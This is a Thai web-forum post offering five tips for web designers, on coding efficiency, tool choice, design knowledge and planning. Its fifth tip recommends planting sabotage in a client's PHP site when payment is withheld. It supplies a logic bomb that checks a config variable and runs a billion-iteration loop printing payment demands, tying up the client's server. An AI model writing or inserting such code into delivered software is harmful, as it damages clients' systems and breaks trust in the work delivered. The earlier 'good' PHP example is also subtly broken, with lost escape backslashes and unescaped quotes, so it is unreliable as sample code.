ผู้เขียน หัวข้อ: [Webdesign ETC] 5 ข้อสำหรับการเป็นเว็บดีไซน์เนอร์  (อ่าน 1423 ครั้ง)

0 สมาชิก และ 1 บุคคลทั่วไป กำลังดูหัวข้อนี้

ออฟไลน์ smf

  • [color=green][i]"ถ้าคุณไม่สามารถอธิบายอย่างง่ายๆ ให้คนอื่นเข้าใจได้แล้วล่ะก็ แสดงว่าคุณยังเข้าใจมันไม่ดีพอ"[/i][/color]
  • Administrator
  • Hero Member
  • *****
  • กระทู้: 1,368
  • พอยท์: 5
    • ดูรายละเอียด
    • pordoo.com
    • อีเมล์
ในหัวข้อนี้จะอธิบายเกี่ยวกับการเป็นเว็บดีไซน์เนอร์ ที่มีคุณภาพ หรือการเป็นเว็บดีไซน์เนอร์ที่ทำงานแล้วมีความผิดพลาดน้อยและมีความรอบคอบใน การทำงานสูง โดยผมได้แจกแจง 5 ข้อสำหรับการเป็นเว็บดีไซน์เนอร์ ไว้ให้ผู้อ่านได้ทำความเข้าใจได้ง่ายขึ้นไว้แล้ว ผู้อ่านสามารถนำตัวอย่างที่อยู่ภายใน 5 ข้อนี้ไปใช้ได้โดยไม่ต้องได้รับอนุญาติจากผู้เขียน แต่ขอความกรุณาเอาไปใช้ในทางที่ถูกต้องด้วยครับ
มาเริ่มกันเลยดีกว่า กับ 5 ข้อสำหรับการเป็นเว็บดีไซน์เนอร์ ว่ามีอะไรกันบ้าง?
1.ทำงานให้ดี อันนี้ใกล้ตัวกับทุกคนมาก ข้อแรกคือคนที่ทำงานด้านดีไซน์ไม่เป็นมักจะใช้โค๊ดที่สิ้นเปลือง เนื้อที่(หมายถึงขนาดไฟล์ก็ใหญ่เพิ่มไปด้วย) ข้อที่สองคือทำงานโดยไม่สนใจความผิดพลาดของโค๊ด(แบบว่า กุทำแบบนี้มีปัญหาไรฟ่ะ!) และอันดับสุดท้ายคือเลือกใช้โค๊ดไม่เป็น(มือใหม่มักจะเป็นกันแทบทั้งหมด) ซึ่งผมได้ยกตัวอย่างให้ท่านสังเกตไว้ด้านล่าง
ตัวอย่างที่ไม่ดี
 
  • <font color="red"><font
  • size="2"><b>โปรดเลือกอายุ</font></b></font>
  • <select name="age">
  • <option value="0">0</option>
  • <option value="1">1</option>
  • <option value="2">2</option>
  • <option value="3">3</option>
  • ...
  • ...
  • ...
  • <option value="97">97</option>
  • <option value="98">98</option>
  • <option value="99">99</option>
  • <option value="100">100</option>
  • </select>
ตัวอย่างที่ดี
 
  • <font color="red"
  • size="2"><strong>โปรดเลือกอายุ</strong></font>
  • <select name="age">
  • <?php
  • for ($i=0;$i<=100;$i++) {
  • echo "t<option value="{$i}">{$i}</option>rn";
  • }
  • ?>
  • </select>
ซึ่งผลออกมาก็มีความเหมือนกันทุกประการ เพียงแต่เรียงลำดับ ใช้โค๊ดให้ถูกต้อง
2.เลือกโปรแกรมให้ถูก เว็บดีไซน์เนอร์มักมีปัญหาเรื่องการเลือกใช้โปรแกรมและการเรียนรู้โปรแกรม ที่ถูกต้อง ประเด็นไม่ได้อยู่ที่ตัวโปรแกรม แต่อยู่ที่ความถนัดของเว็บดีไซน์เนอร์ว่าคุณถนัดโปรแกรมอะไร เลือกใช้โปรแกรมอะไร ซึ่งบางโปรแกรมถ้าเว็บดีไซน์เนอร์เลือกไม่ดี อาจเกิดบัคขึ้นได้ หรืออาจเกิดปัญหาด้านการใช้งานไม่สะดวก เช่น การเซฟไฟล์ซึ่งมีการเซฟแบบ ASCII กับ UTF-8 ซึ่งคุณก็ต้องพิจารณาความแตกต่างระหว่างการเซฟ 2 แบบนี้ด้วย(ลองเปิด Notepad แล้วเซฟไฟล์ดู จะมีให้เลือกด้านล่างว่าจะเซฟเป็นแบบไหน) หรืออาจเป็นการเลือกชนิดไฟล์ของภาพ ซึ่งส่วนใหญ่มักจะใช้ JPG GIF และ PNG เป็นหลัก
อย่าใช้ความถนัดโปรแกรมแค่ 1 อย่าง พยายามเรียนรู้โปรแกรมอื่นๆไว้เพื่อคุณจะได้มีความหลากหลายในการดีไซน์ หรือเพิ่มความยืดหยุ่นให้กับทักษะของตน เช่น ถ้าคุณถนัด Photoshop แล้ว ลองหัดโปรแกรมอื่นๆไว้ด้วย เช่น Firework, Namo Web Canvas, Inkscape เป็นต้นฯ
3.มีความรู้ด้านดีไซน์เนอร์ เรียกว่าสำคัญที่สุดเลย คุณจะต้องรู้เรื่องเกี่ยวกับทุกด้านในการทำเว็บไซน์หรือกราฟฟิกดีไซน์เนอร์ ด้วย เช่น คุณจะต้องตอบได้ว่า JPG คืออะไร, เป็นไฟล์แบบไหน, มีคุณสมบัติอย่างไร, ต่างกับ GIF และ PNG อย่างไร หรือคุณจะต้องรู้ว่า HTML ย่อมาจากอะไร, tag ใน HTML คืออะไร, <pre> ใว้ใช้ทำอะไร เป็นต้นฯ
ง่ายๆคือคุณต้องหมั่นศึกษาเกี่ยวกับเว็บดีไซน์และกราฟฟิกดีไซน์ตามช่อง ทางต่างๆ เดี๋ยวนี้คุณไม่จำเป็นต้องซื้อหนังสือมานั่งอ่านที่บ้านอีกแล้ว ในอินเตอร์เน็ทมีการสนับสนุนผู้สนใจศึกษาด้านเว็บดีไซน์เป็นร้อยๆเว็บไซท์ รวมไปถึงกราฟฟิกดีไซน์เนอร์ซึ่งจะมีผู้เชี่ยวชาญด้านกราฟฟิกมาตอบปัญหาตาม กระทู้เว็บบอร์ดต่างๆอีกด้วย (ผมจะอ้างอิงเว็บไซท์ที่มีการสอนให้ไว้ท้ายบทความนะครับ)
4.วางแผนการทำงาน ถ้าคุณจำเป็นต้องทำงานที่มีการสร้างเว็บเพจหลายๆหน้า หรือเขียนระบบ PHP ออกมาขนาดใหญ่ ประเด็นนี้จะสำคัญ คุณจะต้องมีกระดาษและปากกา ในการวาดรูปตารางหรือวาดมายน์แมพ(Mind Map)ขึ้นมาและเริ่มวางแผน เรียงลำดับ จัดความสำคัญ และเริ่มลงมือทำตามแผนที่คุณเขียนไว้ ถ้าคุณได้วางแผนไว้ดี ผลงานของคุณก็จะออกมาดีตามด้วย แต่ผมเชื่อว่ายังไงก็ต้องมีข้อผิดพลาดอยู่บ้างอย่างแน่นอน พยายามค่อยๆแก้ไปเรื่อยๆจนกว่าผลงานของคุณจะไร้ที่ติ!
ถ้าคุณไม่รู้ว่าจะเริ่มวางแผนยังไง ลองคิดดูว่าส่วนไหนของเว็บไซท์หรือ PHP ที่คุณต้องเขียนและสำคัญที่สุด เช่น อาจเป็นไฟล์หน้าแรก (index.htm / index.php) หรืออาจเป็นการดีไซน์หน้าเว็บก็จัดลำดับ 4 ขั้นตอน (head / menu / content / footer) เป็นต้นฯ แล้วค่อยๆเริ่มขยายความไปเรื่อยๆ จนคุณคิดว่าคุณได้วางแผนงานของคุณเสร็จเรียบร้อยแล้ว!
5.วางยาหลอก ดูเหมือนว่าวิธีนี้จะชั่วนิดหน่อย(หรืออาจจะมาก?) แต่เป็นวิธีที่ดีมากๆครับ เวลาคุณทำงานพวกดีไซน์แล้วคุณโดนเจ้านายงานหลอกหรือโดนโกง อย่างน้อยคุณก็ยังใช้ทริกส์นี้ได้ครับ ยกตัวอย่างง่ายๆเช่น คุณสร้างเว็บไซท์ PHP ขึ้นมาสมบูรณ์ แล้วส่งงานให้เจ้านายงาน แล้วเขาไม่จ่ายเงินคุณค่าทำ คุณก็วางยาโดยการอาจใส่โค๊ดบัคใน PHP ที่คุณทำ หรือจงใจเขียนโค๊ดที่ทำให้ PHP นั้นไม่ทำงาน แล้วสั่งให้มันทำงานปั่นป่วนภายในเว็บไซท์ที่ได้อัพโหลดไว้
ยกตัวอย่าง Code PHP ที่ไว้วางยา โดยภายในไฟล์ config.php นั้นต้อมีค่า $buy ไว้ อาจเป็นค่า null ก็ได้ (หมายถึงถูกเซตไว้อยู่ดี)
 
  • <?php
  • include('config.php'); /* เรียกไฟล์ที่มีค่า $buy เก็บไว้เวลามันไม่จ่ายเงิน */
  • if (isset($buy)) { /* ถ้า $buy ถูกเซ็ตไว้ */
  • for ($i=0;$i<=1000000000;$i++) { /* สั่ง Loop สัก 1 พันล้านครั้งให้มันทวงเงิน */
  • if ($i == 0) {
  • echo "จ่ายเงินสิโว้ย!!<br>";
  • }
  • else {
  • echo "ไม่จ่าย โค๊ดนี้ก็ยังอยู่นะโว้ย!!<br>"; /* ให้มันสลับคำพูดไปมาเรื่อยๆจนมันครบ 1 พันล้านครั้ง */
  • }
  • }
  • }
  • ?>
การเป็นเว็บดีไซน์เนอร์ที่ดีนั้น ไม่จำเป็นต้องพึ่งพาทั้ง 5 ข้อนี้ก็ได้ เพราะยังมีอีกหลายวิธีที่สามารถทำให้เราเป็นเว็บดีไซน์เนอร์ที่ดีได้ อีกอย่างควรพึงระลึกความถูกต้องเข้าไว้ ชีวิตในการทำงานด้านเว็บดีไซน์เนอร์ของคุณก็จะรุ่งเรืองเองครับ และข้อที่สำคัญ เชื่อมั่นในตัวเองและผลงานของตัวเองไว้ ถ้าใจคิดว่างานของตนยังไม่ดีพอ ก็เริ่มลงมือพยายามแก้ไขงานของตนให้พึงพอใจอย่างที่ใจคิดไว้ และข้อที่สำคัญที่สุดคือ อย่ากลัวที่จะเรียนรู้สิ่งใหม่ๆครับ
LuviKunG


ที่มา: http://www.designil.com/5-things-for-web-designer.html